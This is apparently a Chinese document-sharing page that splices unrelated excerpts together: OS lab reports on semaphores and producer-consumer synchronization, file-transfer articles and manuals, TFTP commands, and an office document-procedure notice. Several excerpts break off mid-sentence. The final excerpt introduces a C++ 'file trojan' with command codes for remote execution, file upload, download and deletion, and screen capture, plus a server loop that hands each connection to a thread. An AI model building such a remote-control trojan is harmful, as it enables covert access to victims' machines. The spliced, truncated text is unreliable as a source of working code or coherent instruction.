一、实验概述 1. 实验名称 进程的同步 2. 实验目的 ⑴使用EOS的信号量,编程解决生产者 消费者问题,理解进程同步的意义。 ⑵调试跟踪EOS信号量的工作过程,理解进程同步的原理。 ⑶修改EOS的信号量算法,使之支持等待超时唤醒功能(有限等待),加深理解进程同步的原理。 3. 实验类型 验证+设计 4. 实验内容 ⑴准备实验 ⑵使用EOS的信号量解决生产者-消费者问题 ⑶调试EOS信号量的工作过程 ①创建信号量 ②等待释放信号量 ③等待信号量(不阻塞) ④释放信号量(不唤醒) ⑤等待信号量(阻塞) ⑥释放信号量(唤醒) ⑷修改EOS的信号量算法 二、实验环境 WindowsXP + EOS集成实验环境 三、实验过程 1. 设计思路和流程图

图4-1.整体试验流程图

图4-2.Main 函数流程图、生产者消费、消费者流程图 2. 算法实现 3. 需要解决的问题及解答 (1). 思考在ps/semaphore.c 文件内的PsWaitForSemaphore 和PsReleaseSemaphore 函数中,为什么要使用原子操作?

答:在执行等待信号量和释放信号量的时候,是不允许cpu响应外部中断的,如果此时cpu响应了外部中断,会产生不可预料的结果,无法正常完成原子操作。 (2). 绘制ps/semaphore.c文件内PsWaitForSemaphore和PsReleaseSemaphore函数的流程图。 (3).P143生产者在生产了13号产品后本来要继续生产14号产品,可此时生产者为什么必须等待消费者消费了4号产品后,才能生产14号产品呢?生产者和消费者是怎样使用同步对象来实现该同步过程的呢? 答:这是因为临界资源的限制。临界资源就像产品仓库,只有“产品仓库”空闲生产者才能生产东西,有权向里面放东西。所以它必须等到消费者,取走产品,“产品空间”(临界资源)空闲时,才继续生产14号产品。 (4). 根据本实验3.3.2节中设置断点和调试的方法,自己设计一个类似的调试方案来验证消费者线程在消费24号产品时会被阻塞,直到生产者线程生产了24号产品后,消费者线程才被唤醒并继续执行的过程。 答:可以按照下面的步骤进行调试 (1) 删除所有的断点。 (2) 按F5启动调试。OS Lab会首先弹出一个调试异常对话框。 (3) 在调试异常对话框中选择“是”,调试会中断。 (4) 在Consumer函数中等待Full信号量的代码行(第173行)WaitForSingleObject(FullSemaphoreHandle, INFINITE); 添加一个断点。 (5) 在“断点”窗口(按Alt+F9打开)中此断点的名称上点击右键。 (6) 在弹出的快捷菜单中选择“条件”。 (7) 在“断点条件”对话框(按F1获得帮助)的表达式编辑框中,输入表达式“i == 24”。 (8) 点击“断点条件”对话框中的“确定”按钮。 (9) 按F5继续调试。只有当消费者线程尝试消费24号产品时才会在该条件断点处中断。 4. 主要数据结构、实现代码及其说明 修改PsWaitForSemaphore函数 if (Semaphore->Count>0){ Semaphore->Count--; flag=STATUS_SUCCESS; }//如果信号量大于零,说明尚有资源,可以为线程分配 else flag=PspWait(&Semaphore->WaitListHead, Milliseconds); KeEnableInterrupts(IntState); // 原子操作完成,恢复中断。 return flag; }//否则,说明资源数量不够,不能再为线程分配资源,因此要使线程等待 修改PsReleaseSemaphore函数 if (Semaphore->Count + ReleaseCount > Semaphore->MaximumCount) {

信息技术课堂教学中文件传输方式的分析与比较共6页

信息技术课堂教学中文件传输方式的分析与比较 在信息技术课堂教学中,经常会有教师向学生传送文件以及学生向教师提交作业的情况。对于为数众多的学生机,教师逐个复制到学生机的方法实在是一个耗时费力的不明智之举,当然对于没有组建成局域网的计算机教室,这也是唯一的办法。从目前来看,计算机教室采用局域网进行联接是非常普遍的情况,而实际上借助局域网我们就可以高效准确地进行文件传输。本文就是在基于计算机网络教室的环境下对各种文件传输方法进行分析和比较。 一、设置“网上邻居”共享实现文件传输 在计算机网络教室中,使用网上邻居访问共享文件是很常用的一种方法。对于不同的操作系统,其共享的设置方法也有所区别。 1.在Windows98系统中,设置共享的方法非常简单,但其功能也相应较单一。 “只读”共享:只允许读取文件。适用情况:教师仅允许学生查看不允许修改的内容。如教师向学生共享素材库,学生可自由查看,各取所需,但不能修改或删除。 “完全”共享:可以读取也可以修改文件。适用情况:允许学生自由操作的内容。如教师可以在教师机设置一个完全共享的文件夹,用于学生上交作业,此时学生可以自由修改文件,但也会给不自觉的学生任意删除同学文件的机会。 “根据密码访问”共享:在知道密码的情况下进行“只读”访问和“完全”访问。适用情况:需要辨别身份来限制访问的内容。如在小组合

作学习中,通过该共享可以实现小组成员“完全”访问而其他同学只能“只读”访问的效果。 2.在Windows XP操作系统中内置了“简单文件共享”这一功能,这项功能默认情况下是打开的,这一功能是专门为初级电脑用户而设计的。使用“简单文件共享”功能,用户可以轻松共享文件夹,但无法设置共享文 件的权限。 如果仅仅想共享文件,不希望他人修改共享的文件夹及其中的文件, 请不要启用“允许网络用户更改我的文件”选项。因为启用了该选项之后,网络用户可以向共享的文件夹写入文件,也可以删除共享文件夹中的所有内容。 对于高级用户而言,简单文件共享操作中的设置是无法满足其需要的,要想使用更详细的文件共享功能,必须关闭简单文件共享功能。方法如下:打开“我的电脑”,在“工具”菜单中打开“文件夹选项”菜单,在“查看”选项中,取消选中“使用简单文件共享”选项。 再次设置文件共享时,我们可以发现文件共享功能多了一些选项,增 加了权限和用户数限制等功能。设置文件共享之后,权限是为了限制网络用户对该文件夹的操作权利的功能。权限有“读取”、“更改”和“完全控制”三种。显而易见,“完全控制”是对共享文件夹拥有写入、删除所有操作的权限;“更改”是可以对共享文件夹中的文件进行改名和修改操作;“读取”则只有读取文件的权限,无法对文件进行其它操作。 用户数访问限制:该选项是限制同时访问该共享文件夹的人数限制, 如果设置为5,则第6个人无法访问该共享文件夹。Windows XP系统的同

进程同步实验报告

实验三进程的同步 一、实验目的 1、了解进程同步和互斥的概念及实现方法; 2、更深一步的了解fork()的系统调用方式。 二、实验内容 1、预习操作系统进程同步的概念及实现方法。 2、编写一段源程序,用系统调用fork()创建两个子进程,当此程序运行时,在系统中有一个父进程和两个子进程活动。让每一个进程在屏幕上显示一个字符:父进程显示字符“a”;子进程分别显示字符“b”和字符“c”。程序的输出是什么?分析原因。 3、阅读模拟火车站售票系统和实现进程的管道通信源代码,查阅有关进程创建、进程互斥、进程同步的系统功能调用或API,简要解释例程中用到的系统功能或API的用法,并编辑、编译、运行程序,记录程序的运行结果,尝试给出合理的解释。 4、(选做)修改问题2的代码,使得父子按顺序显示字符“a”;“b”、“c”编辑、编译、运行。记录程序运行结果。 三、设计思想 1、程序框架 (1)创建两个子进程:(2)售票系统:

(3)管道通信: 先创建子进程,然后对内容加锁,将输出语句存入缓存,并让子进程自己进入睡眠,等待别的进程将其唤醒,最后解锁;第二个子进程也执行这样的过程。父进程等待子进程后读内容并输出。 (4)修改程序(1):在子进程的输出语句前加上sleep()语句,即等待父进程执行完以后再输出。 2、用到的文件系统调用函数 (1)创建两个子进程:fork() (2)售票系统:DWORD WINAPI Fun1Proc(LPVOID lpPartameter); CreateThread(NULL,0,Fun1Proc,NULL,0,NULL); CloseHandle(hThread1); (HANDLE)CreateMutex(NULL,FALSE,NULL); Sleep(4000)(sleep调用进程进入睡眠状态(封锁), 直到被唤醒); WaitForSingleObject(hMutex,INFINITE); ReleaseMutex(hMutex); (3)管道通信:pipe(fd),fd: int fd[2],其中: fd[0] 、fd[1]文件描述符(读、写); lockf( fd,function,byte)(fd: 文件描述符;function: 1: 锁定 0:解锁;byte: 锁定的字节数,0: 从当前位置到文件尾); write(fd,buf,byte)、read(fd,buf,byte) (fd: 文件描述符;buf : 信息传送的源(目标)地址;byte: 传送的字节数); sleep(5); exit(0); read(fd[0],s,50) (4)修改程序(1):fork(); sleep(); 四、调试过程 1、测试数据设计 (1)创建两个子进程:

文件传输管理办法

鄂州市烟草专卖局(公司) 关于规范文电办理程序、提高公文运转效率的通知 各科室(中心)、专卖稽查大队: 为进一步规范文件、领导批示件办理程序,加强文电管理,提高公文传阅速度,现参照国家有关规定,特对我局文电办理有关工作通知如下: 一、外来收文的办理。 收文流程:收文登记――办公室拟办――领导批办――分送――阅办――拟归档――办结。 外来收文包括省委、省政府、省局(公司)、市委、市政府文件和会议纪要、电传等公文。收文统一由办公室签收、登记、分发,办公室文件管理员收文、登记后,办公室负责人提出拟办意见,按程序送局长或分管局长批示。 1、收文登记。办公室文件管理员从全省烟草OA系统接收省局(公司)文件,利用电子扫描方法在电脑中存入省委、省政府或市委、市政府等纸质文件。对公文类型、来文单位、来文标题、来文文号、主题词等信息进行系统登记。 2、办公室拟办。文件管理员将文件登记后传送给办公室负责人,办公室负责人对收文如何办理提出建议性处置意见。办公室负责人根据公文的性质、重要程序、涉密程度、办理时间要求、内容所涉及的职权范围将收文送呈给市局(公司)主要领导或分管领导批示。如收文涉及到行业重大政策调整,重要人事变动,重要活动要求或收文内容涉及到多个部门、多个方面工作的或其他分管领导不能定夺的事项等,则送呈给市局(公司)主要领导批示;如收文内容涉及到单个部门、单个方面工作的,则按市局(公司)领导工作分工,送呈给相应的分管领导批示。 -1 -

拟办者要弄清来文的背景与意图,必要时还应查阅有关文件,对有关情况进行调查研究,以便使拟办的意见具有法规依据与事实依据,切实可行。 3、领导批办。市局(公司)主要领导或分管领导对来文办理提出指示性、决策性意见,对相关领导或部门提出办理要求。 4、分送。文件管理员根据领导批示意见,将收文分送给有关领导或部门、人员阅知、办理。分办公文要求分清主次缓急,优先处理紧急重要的公文。 5、阅办。有关领导或部门、人员收到文件后对公文进行阅读、贯彻执行与办理,公文只有经过传阅才能产生切实的效用,是公文处理的中心环节。做好阅办工作,要求熟悉与文件内容有关的方针政策与法律法规,熟悉有关的业务;要求深入实际,加强调查研究,以便使公文所针对的问题得到因地制宜、因时制宜的切实有效的处理;在阅办中应注意分清主次缓急,努力协调与理顺各方面的关系,提高阅办的效率。 6、拟归档。拟归档人员在打开需要拟归档的公文后对归档分类、归档期限、正文页数等信息进行归档。 7、办结。点击“办结”按钮系统提示,至此整个“外来收文”的流程就结束了。 “三秘”文件的办理按有关规定执行,不允许在OA系统中流转。 一是密件清点登记。办公室机要员对收到的“三秘”文件要认真进行清点登记,注明收文时间、文件编号、标题、密级、紧急程度、份数及每一份的编号等。 二是领导传阅或办理。机要员将收到的密件登记后送办公室负责人提出意见。需送领导传阅的,机要员用专用密级文件夹送委领导传阅(重要密件按职务从高到低传阅,一般密件可不按职务高低进行传阅),每位领 -2 -

数据传输软件(发送端)使用说明

z发送端软件说明 1. 登录 双击StoneWall-2000(发送端).exe图标,运行发送端软件。 系统将弹出如下图所示的登录对话框。 初始化 第一次使用本设备, 需要有初始化的过程,只需输入administrator. 然后点击”确定”, 会提示没有设备的密钥. 图1 初始化提示 点击“确定”后, 会出现“创建系统密钥”对话框, 输入一个使用”文件发送端软件”的密钥文件的使用口令.这个文件是公私钥对中私钥的密钥保护口令. 在确认您输入口令和验证口令一致之后,系统会自动生成以后用来密钥协商和文件加密传输的密钥对. 图2 密钥生成对话框

图3 密钥生成成功确认 密钥生成成功之后,登陆软件发送端. 图4 发送端登录对话框 在用户名栏中添入正确的用户名,缺省为administrator,在密码栏中添入正确的密码,缺省为12345678,输入第一次初始化设备时候的密钥保护口令.登入系统. 关于如何增加、删除用户及修改密码,在后续章节介绍。强烈建议用户在首次登录后更改管理员密码,以保证软件的安全使用。 如果想放弃登录,请用鼠标单击退出按钮。 用户名必须为英文、数字或下划线,其他非法字符将无法显示。 添入了正确的用户名或密码后,按回车键或用鼠标单击确定按钮即可以进入发送端软件主界面,如下图所示。

图5 发送端主界面 2. 发送端软件主界面说明如下: 菜单区——用于发送端软件的配置 待发送文件和已发送文件显示区——用于显示准备发送数据到的目的主机IP和路径。 本地资源显示区——用于显示本机的文件资源。 日志文件显示区——用于显示日志记录。 文件传输状态显示区——用于显示当前和曾经发送的文件的传输状态。 文件内容显示区——用于文件内容显示。 3. 发送端软件主界面操作如下: 3.1.文件发送 若在待发送文件显示区中没有用户要发送文件的目的主机和目的路径,用户可以从本地资源显示区中选择要发送的文件或文件夹,双击该文件或文件夹,将弹出如图3的任务设定窗口。用户需要在任务设定窗口中添如目的IP,端口号和文件在接收端目的存储路径。用户可以点击“高级”按钮得到如图4的窗口。共有四种发送模式可以选择:立即发送,立即发送并作增量检查,定时发送和周期发送。 若文件或文件夹的目的主机或目的路径在待发送文件夹树中已经存在,用户也可以用鼠 标拖动要发送的文件或文件夹到该目的主机IP节点处或目的路径节点处释放,则用户可以

tftp交换机传递文件方法

tftp 192.168.1.2 ? get Download a file from the TFTP server put Upload a local file to the TFTP server sget Download a file from the TFTP server securely tftp 192.168.1.2 put tftp 192.168.1.2 put ? STRING [drive][path][file name] cfa0: Device name slot0#cfa0: Device name tftp 192.168.1.2 put c tftp 192.168.1.2 put cfa0:/? cfa0:/diag.tar.gz cfa0:/diag.tar.gz cfa0:/diagfile/ cfa0:/diagfile/ cfa0:/ifindex.dat cfa0:/ifindex.dat cfa0:/lauth.dat cfa0:/lauth.dat cfa0:/license/ cfa0:/license/ cfa0:/logfile/ cfa0:/logfile/ cfa0:/msr36-cmw710-boot-r0304p14.bin cfa0:/msr36-cmw710-boot-r0304p14.bin cfa0:/msr36-cmw710-data-r0304p14.bin cfa0:/msr36-cmw710-data-r0304p14.bin cfa0:/msr36-cmw710-security-r0304p14.bin cfa0:/msr36-cmw710-security-r0304p14 .bin cfa0:/msr36-cmw710-system-r0304p14.bin cfa0:/msr36-cmw710-system-r0304p14.b in cfa0:/msr36-cmw710-voice-r0304p14.bin cfa0:/msr36-cmw710-voice-r0304p14.bi n cfa0:/seclog/ cfa0:/seclog/ cfa0:/startup.cfg cfa0:/startup.cfg cfa0:/startup.mdb cfa0:/startup.mdb tftp 192.168.1.2 put cfa0:/diag.tar.gz Press CTRL+C to abort. % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 43523 0 0 100 43523 0 366k --:--:-- --:--:-- --:--:-- 674k

进程通信与进程同步机制实现

一.课程设计题目 某银行提供10个服务窗口(7个对私服务窗口,3个对公服务窗口)和100个供顾客等待的座位。顾客到达银行时,若有空座位,则到取号机上领取一个号,等待叫号。取号机每次仅允许一位顾客使用,有对公和对私两类号,美味顾客只能选取其中一个。当营业员空闲时,通过叫号选取一位顾客,并为其服务。请用P、V操作写出进程的同步算法。 二.课程设计目的 1、掌握基本的同步与互斥算法,理解银行排队系统操作模型。 2、学习使用Windows 2000/XP中基本的同步对象,掌握相关API 的使用方法。 3、了解Windows 2000/XP中多线程的并发执行机制,实现进程的同步与互斥。 三.课程设计要求 ◆学习并理解生产者/消费者模型及其同步/互斥规则; ◆学习了解Windows同步对象及其特性; ◆熟悉实验环境,掌握相关API的使用方法; ◆设计程序,实现生产者/消费者进程(线程)的同步与互斥; ◆提交实验报告。 四.需要了解的知识

1.同步对象 同步对象是指Windows中用于实现同步与互斥的实体,包括信号量(Semaphore)、互斥量(Mutex)、临界区(Critical Section)和事件(Events)等。本实验中使用到信号量、互斥量和临界区三个同步对象。 2.同步对象的使用步骤: ◆创建/初始化同步对象。 ◆请求同步对象,进入临界区(互斥量上锁)。 ◆释放同步对象(互斥量解锁)。 五.需要用到的API函数及相关函数我们利用Windows SDK提供的API编程实现实验题目要求,而VC中包含有Windows SDK的所有工具和定义。要使用这些API,需要包含堆这些函数进行说明的SDK头文件——最常见的是Windows.h(特殊的API调用还需要包含其他头文件)。 本实验使用到的API的功能和使用方法简单介绍 1、WaitForSingleObject( hSemaphoreChairs , INFINITE ); WaitForSingleObject( hMutex , INFINITE ); ●功能——使程序处于等待状态,直到信号量hHandle出现(即其值大于等于1)或超过规定的等待时间 ●格式 DWORD WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); ●参数说明

Linux 上的常用文件传输方式介绍与比较【精华】

正文 何兴建 文章:9篇 大洋币:24枚 时间:2011-08-08 引用 ftp ftp 命令使用文件传输协议(File Transfer Protocol, FTP)在本地主机和远程主机之间 或者在两个远程主机之间进行文件传输。 FTP 协议允许数据在不同文件系统的主机之间传输。尽管这个协议在传输数据上提供 了高适应性,但是它并没有尝试去保留一个特定文件系统上的文件属性(例如一个文 件的保护模式或者修改次数)。而且FTP 协议很少对一个文件系统的整体结构作假定,也不提供这样的功能,比如递归的拷贝子目录。在使用 ftp 命令时,需要注意 FTP 协 议的这些特性。当需要保留文件属性或者需要递归的拷贝子目录时,可以使用 rcp/scp 等命令。 基本语法 ftp 命令的一般格式如下: $ ftp 主机名 /IP 其中“主机名 /IP ”是所要连接的远程机的主机名或 IP 地址。在命令行中,主机名属于可选项,如果指定主机名,ftp 将试图与远程机的 ftp 服务程序进行连接;如果没有指定主机名,ftp 将给出提示符,等待用户输入命令: $ ftp ftp > 此时在 ftp> 提示符后面输入 open 子命令加主机名或 IP 地址,将试图连接指定的主机。不管使用哪一种方法,如果连接成功,需要在远程机上登录。用户如果在远程机 上有帐号,就可以通过 ftp 使用这一帐号并需要提供口令。在远程机上的用户帐号的 读写权限决定该用户在远程机上能下载什么文件和能将上载文件放到哪个目录中。在

远程站点上登录成功后,在“ ftp> ”提示符下可以自由使用 ftp 提供的各种子命令,最常用的子命令如下表所示。 表 1. ftp 子命令 命令描述 ls 列出远程机的当前目录 cd 在远程机上改变工作目录 lcd 在本地机上改变工作目录 ascii 设置文件传输方式为 ASCII 模式 binary 设置文件传输方式为二进制模式 close 终止当前的 ftp 会话 get (mget) 从远程机传送指定文件到本地机 put (mput) 从本地机传送指定文件到远程机 open 连接远程 ftp 站点 quit 断开与远程机的连接并退出 ftp ? 显示本地帮助信息 ! 转到 Shell 中 prompt 1 关闭交互模式 使用实例: 利用编写 ftp 脚本可以自动完成文件传输任务。具体方法是使用 ftp 命令的 -in 选项,并重定向 ftp 命令的输入。现在我们来编写一个利用 ftp 登录到远程服务器,并以 bin 的文件格式,在 /home 目录下,下载 file1.log 以及 file2.sh 至本机 /opt/ibm/,并从本地 /opt 目录上传文件 file3.jave 至远程服务器 /home 的自动化脚本。 ftp -ni <<+ open $IP

基于TCP的文件传输程序

《计算机网络系统实践》报告 设计题目:网络文件传输 学生姓名:郑波 学号:44 专业班级:计算机科学与技术13-2班 2015年12月

一、设计要求 1、实现单线程文件传输功能 2、在以上的基础上,掌握多线程技术,在文件网络传输时,可选择单 线程或多线程 3、加入异常控制机制,增强程序的鲁棒性(Robust) 4、了解如何提高套接字传输的速率,以及如何加强传输的稳定性 二、开发环境与工具 Windows7下Microsoft Visual Stuio 三、设计原理 1、网络传输协议 TCP/IP协议栈中的两个协议: TCP(Transmission Control Protocol):传输控制协议 UDP(User Datagrm Protocal):用户数据报协议 TCP是面向连接的通信协议,TCP提供两台计算机之间的可靠无错的数据传输。应用程序利用TCP进行通信时,源和目标之间会建立一个虚 拟连接。该连接一旦建立,两台计算机之间就可以把数据当做一个双向 字节流进行交换。 UDP是无连接的通信协议,UDP不保证可靠数据的传输,但能够向若干个目标发送数据,接受发自若干个源的数据。就是说,如果一个主机 向另外一台主机发送数据,这个数据就会立即发出,而不管另外一台主 机是否已准备接收数据。如果另外一台主机接收到了数据,它不会确认 收到与否。 本次工程目的是传输文件,显然需要用TCP建立连接,而TCP连接需要“三次握手”。 2、三次握手 三次握手具体过程: 1、客户端主动与服务器联系,TCP首部控制位中的SYN设置为1,发送

带有SYN的TCP段,并把初始序号告诉对方 2、服务端收到带有SYN的报文,记录客户端的初始序号,选择自己的初 始序号,设置控制位中的SYN和ACK。因为SYN占用一个序号,所以 确认序号设置为客户端的初始序号加1,对客户端的SYN进行确认 3、服务端的报文到达客户端,客户端设置ACK控制位,并把确认好设为 服务器的初始序号加1,以确认服务器的SYN报文段,这个报文只是 确认消息,告诉服务器已经成功建立了连接 四、系统功能描述及软件模块划分 1、系统功能描述 软件实现了点对点的文件传输。传输前的接收提醒以及传输过程中的控制。 2、软件模块划分 本程序可以划分成以上三个模块:传输控制模块,文件传输模块和服务连接模块。其中: 服务连接模块用来建立客户端到服务器的连接 文件传输模块主要用两个线程:_SendThread和_ListenThread来完成,实现发送和接收文件的功能。 传输控制模块主要通过封装好的可串行化信息类CMessage互相传递两端的文件操作消息,响应“暂停传输”,“关闭连接”等功能 五、设计步骤 1、服务连接模块 先要建立起客户端与服务器之间的连接,大致过程如下: ①服务器启动: if(m_nServerType == SERVER) { |*.*||",this); "另存为"); strcpy if()==IDOK){ if(m_bIsWait==FALSE){ MessageBox(_T("对方已经取消文件发送"), _T("警告"), MB_ICONEXCLAMATION); return ; } m_bIsClient=FALSE; m_strPath=();

进程同步:实验报告

1.实验内容(进程的同步) (1) 阅读理解示例程序。 (2) 说明示例程序是否能适合解决 N 个生产者和 1 个消费者问题,并设计实验验证 (3) 参照教材修改为 N 个生产者和 1 个消费者问题 (4) 思考 N 个生产者和 M 个消费者问题的解决方案(不要求) (5) 利用信号量解决同步问题。 2.实验目的 通过程序模拟及验证生产者消费者问题等经典问题,深入理解并发中的同步和互斥的概念 3.实验原理 (1)进程概念: (1.定义:程序的一次执行过程 ( 2.三种基本状态 :就绪状态,执行状态,阻塞状态 (2)进程同步: (1.定义:并发进程在执行次序上的协调,以达到有效的资源共享和相互合作,使程序执行有可再现性。 ( 2.两种形式的制约关系: (一:资源共享关系:进程间接制约,需互斥地访问临界资源。)、(二:相互合作关系:进程直接制约) (3.临界资源:一次仅允许一个进程访问的资源,引起不可再现性是因为临界资源没有互斥访问。 (3)信号量:定义一个用于表示资源数目的整型量S,它与一般的整型量不同,除初始化 外,仅能通过两个标准的原子操作 wait(S)和 signal(S)来访问,俗称 P,V操作。通俗来讲就是用P 来访问资源后减去一个单位资源,用 V 操作来释放一个单位资源就是现有资源上加一个单位资源。 4.实验内容一:说明示例程序是否能适合解决 N 个生产者和 1 个消费者问题,并设计实验验证答:示例程序不能解决多个生产者和消费者的问题,它是解决单个消费者和生产者的。如果可以就要修改代码,如“二”所说。 二:多个消费者和生产者的问题

生产者 1 如上图所示 :如果要解决多个生产者和消费者的问题: 第一步:分析上图得出了两种关系,分别是异步和同步的关系 第 二步:异步关系的是生产者和生产者之间的, 因为同一时刻只能 有一个生产者 访问缓冲区,所以我们就可以设置临界资源 .获得 临界资源的生产者才能把产品 放到缓冲区里 第三步:同步关系有两个, 首先是生产者和缓冲区之间, 再是缓冲区和消费者之 间。他们都满足一前一后的关系, 即当缓冲区空间未满时, 生产者才可以放产品; 缓冲区不为空的时候才可以让消费者取出产品消费。 第四步:设计变量,用 C 语言编程,在 linux 上运行,观察结果。代码如下: #include #include #include #include #include #include int n=10; int buffer[10];// 缓冲区空间大小 int in=0,out=0; sem_t mutex,empty,full;// 设置临界资源,定义两个同步关系的信号量 void* producer(void *arg){ // 生产者 sem_wait(&mutex); // 访问临界资源 int tag= pthread_self()%100; int nextPro; srand(time(NULL)+tag); 生产者 6 缓冲区 消费者 生产者 2 生产者 3 生产者 4 生产者 5 相关头文件

如何传送大文件

大家都有传送大文件的经历吧,这里介绍几种通过网络传送大文件的方法(除去网盘、即时通讯工具QQ、Opera Unite、邮箱等传送方式):1、WIN RAR分包压缩传送 用WIN RAR把文件压缩,压缩的时候打成小包,可能会被分成很多小文件,名字不要改,否则就不能解压了,就用自动生成的。上传至网盘或邮箱等,对方只要把所有包都下载完后再进行解压,就可以得到完整的附件。 ⑴、右键点击需要分包压缩的文件,选择“添加到压缩文件”选项。 ⑵、在压缩分卷大小那里填写你要分包的大小。如填写600000,即代表生成的每个压缩包容量为600000字节,即600KB左右(1KB=1024字节)。 ⑶、点击确定即可,然后得到几个分包,名字为XXXX.part1.rar, XXXX.part2.rar ...... ⑷、上传所有分包就可以了。 ⑸、对方把几个分包一同下载后,将它们放于同一目录下,点击XXXX.part1.rar解压,此时会提示让你选择第二个压缩包,再继续选择解压,全部解压后即得原完整文件。 2:架设虚拟FTP服务器 相信经常上网的人都下载过软件,最普遍的下载场所是各种Web 页面形式的下载中心,如金蜘蛛软件下载中心和电脑之家,但是,更专业、更直接,同时下载速度也更快的应该是那些FTP站点,如果我们个人电脑用户也能为自己的本地硬盘构筑一个自己的FTP,那么通过网

络来异地下载本地硬盘上的资料应该是一件很容易的事。要这么做,得借助于一些专门的FTP终端软件,通过设置,使用者可以把自己的机器变成一台不折不扣的FTP服务器,然后获得该“FTP服务器”访问权限的网上的任何一个人都可以在浏览器中登录这台“FTP服务器”,下载其中的文件资料。这类FTP终端软件有War beta 1、Serv-U 2.5b和NetTerm等。 具体构建方法可参照如下: ⑴、建立ftp服务器,最简单的办法是从网上下载服务端,让对方下载一个客户端。 ⑵、进入服务端,进入编辑里面点“设置”,这里可以设置监听端口以及一些配置选项,这里不多废话。

C++实现文件传输

c++实现文件传输之一:框架结构和界面实现 在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马” 其实现效果如图所示。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。 实现:枚举磁盘,枚举目录,获取文件信息 上传文件,下载文件,执行文件,创建目录,删除目录等 传输控制结构 要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读 首先对要使用的命令进行预定义其各个命令定义如下 #define GetDriver 0x01 //磁盘信息 #define GetDirInfo 0x02 //目录信息 #define ExecFile 0x03 //执行文件 #define GetFile 0x04 //下载文件 #define PutFile 0x05 //上传文件 #define DelFile 0x06 //删除文件 #define DelDir 0x07 //删除目录 #define CreateDir 0x08 //创建目录 #define FileInfo 0x09 //文件信息 #define GetScreen 0x10 //查看屏幕 在程序的网络通信中主要有操作命令 ,命令对像,和具体数据三部分,对于命令的传输定义如下结构 typedef struct { int ID; //操作命令 BYTE lparam[BUF_LEN*2]; //命令对像 }COMMAND;

因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构 typedef struct { char FileName[MAX_PATH]; //文件名称 int FileLen; //文件长度 char Time[50]; //时间信息 BOOL IsDir; //为目录否 BOOL Error; //错误信息 HICON hIcon; //图标句柄 }FILEINFO; 服务端结构 服务端还是比较简单的其整体思路如下 1.服务端循环接受连接,并把连接交给线程处理 2.线程接受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数 3.函数执行指定功能,并返回执行结果 对整体结构的描述,我们用伪代码表述如下 main() { /*初示化设置......*/ while(true) { if(client=accept(server,(sockaddr *)&clientaddr,&len))//循环接受连接{ CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理 } } /*清理释放资源......*/ WSACleanup(); } 服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下 DWORD WINAPI SLisen(LPVOID lparam) { SOCKET client=(SOCKET)lparam;

Windows下进程同步与互斥

实验进程同步与互斥 一、实验目的 1.掌握基本的同步与互斥算法,理解生产者消费者模型。 2.学习使用Windows 2000/XP中基本的同步对象,掌握相关API的使用方法。 3.了解Windows 2000/XP中多线程的并发执行机制,实现进程的同步与互斥。 二、实验内容及要求 1.实验内容 以生产者/消费者模型为依据,在Windows 2000环境下创建一个控制台进程,在该进程中创建n个线程模拟生产者和消费者,实现进程(线程)的同步与互斥。 2.实验要求 ●学习并理解生产者/消费者模型及其同步/互斥规则; ●学习了解Windows同步对象及其特性; ●熟悉实验环境,掌握相关API的使用方法; ●设计程序,实现生产者/消费者进程(线程)的同步与互斥; ●提交实验报告。 三、相关知识介绍 1.同步对象 同步对象是指Windows中用于实现同步与互斥的实体,包括信号量(Semaphore)、互斥量(Mutex)、临界区(Critical Section)和事件(Events)等。本实验中使用到信号量、互斥量和临界区三个同步对象。 同步对象的使用步骤: ●创建/初始化同步对象。 ●请求同步对象,进入临界区(互斥量上锁)。 ●释放同步对象(互斥量解锁)。 这些对象在一个线程中创建,在其他线程中都可以使用,实现同步与互斥。 2.相关API的功能及使用 我们利用Windows SDK提供的API编程实现实验题目要求,而VC中包含有Windows SDK的所有工具和定义。要使用这些API,需要包含堆这些函数进行说明的SDK头文件——最常见的是Windows.h(特殊的API调用还需要包含其他头文件)。 下面给出的是本实验使用到的API的功能和使用方法简单介绍。 (1) CreateThread ●功能——创建一个在调用进程的地址空间中执行的线程 ●格式 HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress,

相关主题
文本预览
相关文档 最新文档